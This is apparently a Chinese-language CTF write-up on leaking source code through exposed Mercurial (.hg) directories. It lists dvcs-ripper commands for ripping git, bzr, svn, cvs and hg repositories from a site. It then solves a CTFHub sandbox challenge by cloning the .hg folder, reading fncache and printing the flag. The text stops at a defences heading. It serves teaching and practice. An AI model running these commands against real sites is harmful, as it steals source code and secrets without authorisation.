Mercurial(hg)是一种分布式版本控制系统,它与Git类似也可以用于管理代码的版本控制,如果Mercurial服务器的安全措施不当或用户不小心,可能会导致Mercurial源码的信息泄露的问题,而Mercurial源码信息泄露的原理是因为Mercurial服务器上的源代码未被正确保护,导致未经授权的用户可以轻易地访问和下载代码,这可能会导致以下问题
利用工具:dvcs-ripper
项目地址:https://github.com/kost/dvcs-ripper
工具使用:
git测试:
rip-git.pl -v -u http://www.example.com/.git/
bzr测试:
rip-bzr.pl -v -u http://www.example.com/.bzr/
SVN测试:
rip-svn.pl -v -u http://www.example.com/.svn/
CVS测试:
rip-cvs.pl -v -u http://www.example.com/CVS/
HG测试:
rip-hg.pl -v -u http://www.example.com/.hg/
这里以CTFHUB中的一道题目为例进行演示说明:
Step 1:访问靶场地址可以看到如下信息提示界面
http://challenge-c39a63118b9bf1ae.sandbox.ctfhub.com:10800/
Step 2:这里根据题目提示直接使用工具进行clone,但是好像没克隆完全
./rip-hg.pl -u http://challenge-c39a63118b9bf1ae.sandbox.ctfhub.com:10800/.hg/
Step 3:之后从历史记录里寻找查看,在文件.hg/store/fncache中查看到flag的文件名为flag_88274161.txt,直接访问即可得flag——ctfhub{14921b837eee364167a5cc92}
以下是一些常见的防御措施: